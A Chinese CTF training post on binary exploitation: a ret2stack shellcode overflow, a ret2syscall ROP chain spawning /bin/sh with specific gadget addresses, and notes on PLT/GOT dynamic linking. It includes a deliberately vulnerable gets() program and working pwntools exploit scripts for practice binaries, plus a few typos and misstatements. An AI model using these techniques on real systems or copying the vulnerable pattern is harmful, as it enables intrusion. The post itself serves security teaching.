CTF集训(8)

PWN(3)

ret2stack

/proc/sys/kernel/randomize_va_space中可以控制ASLR的关闭,其值为0表示关闭,为2表示完全打开。

假如我们有一个ret2stack文件

1
2
3
4
5
6
7
8
9
#include <stdio.h>

int main() {
setbuf(stdin, 0);
setbuf(stdout, 0);
char str[100];
printf("%p", &str);
gets(str);
}

接下来编译。编译需要关掉各种各样的保护:

1
2
3
#!/bin/sh

gcc -fno-stack-protector -z execstack -no-pie -g -o ret2stack ret2stack.c

这样我们就可以对应的写shellcode了:

1
2
3
4
5
6
7
8
from pwm import *
context.arch = "amd64"

io = process("./ret2stack")
shellcode = asm(shellcraft.amd64.sh())
payload = shellcode.ljust(112+8,b'A') + p64(0x7fffffffe060)
io.sendline(payload)
io.interactive()

然而这样攻击是失败的。这是因为gdb中基地址不可靠。我们发现,gdb中地址是e060,而直接打印出来是e0e0。所以要改成实际的基地址。

ret2syscall

系统调用是操作系统给用户的接口,可以被链接库链接成一个函数。能接触系统的代码都位于For Kernel,并且存在一些内核函数。

考虑下面一个C代码:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
char shellcode[0x100] = 'hello';
my_puts() {
write(1, shellcode, 0x100);
}

int main() {
my_puts();
return 0;
}

在C语言中的write被动态链接库所连接,并自动调用。

用命令ldd a.out可以查看所有动态链接库,常见的漏洞出现在libc.so.6。动态链接库文件是在不断更新的,而编译器在编译时候会将链接库写入程序中,是用软链接实现的,这一点类似一个快捷方式,其目录位于/lib/x86_64-linux-gnu中。

可以反编译动态链接库,有一个system函数。那我们可以返回到这一函数,实现系统调用。

另一个函数是execve('/bin/sh'),也是一个很常用的函数。

汇编中int指令用来中断,int 80调用的是系统调用函数。那么假如我们有这样一段代码:

1
2
3
4
5
mov eax, 0xb
mov ebx, ["/bin/sh"]
mov ecx, 0
mov edxm 0
int 0x80

就可以实现系统调用,然而并没有这样一段代码。所以我们需要构造一个gadget:汇编中的某些固有代码片段。

利用ROPgatdet可以查看一些特定的代码片段:ROPgatget --binary xxx --only "[pop|ret]" 。例如

1
2
3
4
5
6
7
8
9
10
11
0x000000000040125c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040125e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401260 : pop r14 ; pop r15 ; ret
0x0000000000401262 : pop r15 ; ret
0x000000000040125b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040125f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040113d : pop rbp ; ret
0x0000000000401263 : pop rdi ; ret
0x0000000000401261 : pop rsi ; pop r15 ; ret
0x000000000040125d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret

我们在代码的基础上继续进行溢出并存放在栈里,可以认为这些gadget是一些积木。我们用下面这个例子来说明。

其过程如何执行呢?

  • stack overflow之后ret,ESP增加字长到下一个位置,EIP跳转到下一条指令
  • pop %edx ,ESP继续向前移动
  • ret,ESP增加字长到下一个位置,EIP跳转到下一条指令
  • xor %eax, %eax,相当于清空eax的值,然后ret,ESP增加字长到下一个位置,EIP跳转到下一条指令
  • mov %eax, (%edx),将edx的值赋给eax,然后ret,ESP增加字长到下一个位置,EIP跳转到下一条指令

现在我们就可以用下面的流程实现:

  • pop_eax_ret address
  • 0xb
  • pop_ebx_ret address
  • “/bin/sh” address
  • pop_ecx_ret address
  • 0
  • pop_edx_ret address
  • 0
  • int 0x80 address

这样的效果就是,我们把eax赋值为0xb,ebx赋值为/bin/sh,ecx赋值为0,edx赋值为0.

接下来看看例题。

在IDA反编译,可以找到有一个”/bin/sh”的ao东西。

先找gadget,发现有两个可能可以用:

  • 0x080bb196 : pop eax ; ret
  • 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

那么我们构造的应该是

  • 0x080bb196
  • eax的值0xb,表示execve函数
  • 0x0806eb90
  • edx的值0
  • ecx的值0
  • ebx的值0x80BE408
  • int 80的位置0x8049421

接下来解题。先用gdb发现距离是108,那么要填充112字节。就可以写脚本了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

io = process("./ret2syscall")

# ROPgadget --binary ret2syscall --only "pop|ret" | grep eax
pop_eax_ret = 0x080bb196
# ROPgadget --binary ret2syscall --only "pop|ret" | grep ebx
pop_edx_ecx_ebx = 0x0806eb90
# ROPgadget --binary ret2syscall --only "int"
int_80h = 0x08049421
# pwntools search
bin_sh = 0x080BE408

payload = b'A' * 112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bin_sh) + p32(int_80h)
io.send(payload)
io.interactive()

找/bin/sh可以使用pwntools的如下函数:

1
2
elf = ELF("./ret2syscall")
hex(next(elf.search(b'/bin/sh')))

动态链接

刚刚的一切都建立在我们能找到gadget的前提下,然而往往这不是能一蹴而就的。因此,我们试图用其他方法来找到,而这就与动态链接有关。

1
gcc -fno-pie --static -o sttest test.c

这样我们输出的是一个静态程序。如果删去了--static参数,得到的则是一个动态链接。

二者的大小差别是很大的。例如puts函数,动态链接库几乎没有具体代码,而静态链接库则涉及到了非常庞大的函数。那么二者究竟有甚么区别呢?

总的来说,程序的变化经历了这些过程:编译 汇编 链接 装载 执行。链接将目标文件转化为可执行文件,而装载将可执行文件载入内存、转化为可执行文件。而动态链接在函数装载的时候执行,静态链接则在链接的时候就载入。

动态链接的特点是,我们并不知道运行时候的真实地址是多少。其结构如下:

Sections:

  • .dynamic 提供动态链接相关信息,比如表的位置
  • .got, global opposite table,表示所有变量的偏移量也就是地址
  • .got.plt, 表示所有函数的地址
  • .data

假设有这样一份C代码

1
2
3
4
5
#include <stdio.h>
int main() {
foo();
return 0;
}

这里的foo是我们假设存在于stdio库里的函数。

在text段,我们调用了call foo@plt。那么如何找到foo呢?我们就去plt节里找。每一个动态链接库里的函数都会在plt里创建一个表象。

plt表里的形式大概是这样:read, printf, system, foo, …,在call的时候就找到了这个表象。由于.got.plt存了全局地址,plt开始会向.got.plt表里寻找foo这个函数的真实地址。然而在初次调用的时候,我们还没有装载.got.plt进去,所以.got.plt就指向了plt的对应位置,跳回了plt表中。

接下来,plt就会找到foo的真实地址,然后将他存在.got.plt中。我们可以认为,plt就是B细胞,.got.plt就是记忆细胞。在发挥作用之前,B细胞会先检查有没有存在的记忆细胞,如果有就取过来分化。如果没有,就自己去找。

所以我们跳到了PLT0,在*(GOT+8)找到了。我们进入dl_resolve中,开始执行解析任务。结果会传到.got.plt中,此时存储的是这个函数在表中的真实地址。

而如果我们再一次的调用这一函数,我们就直接在.got.plt中取到其位置,完成了相关操作。

# CTF

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×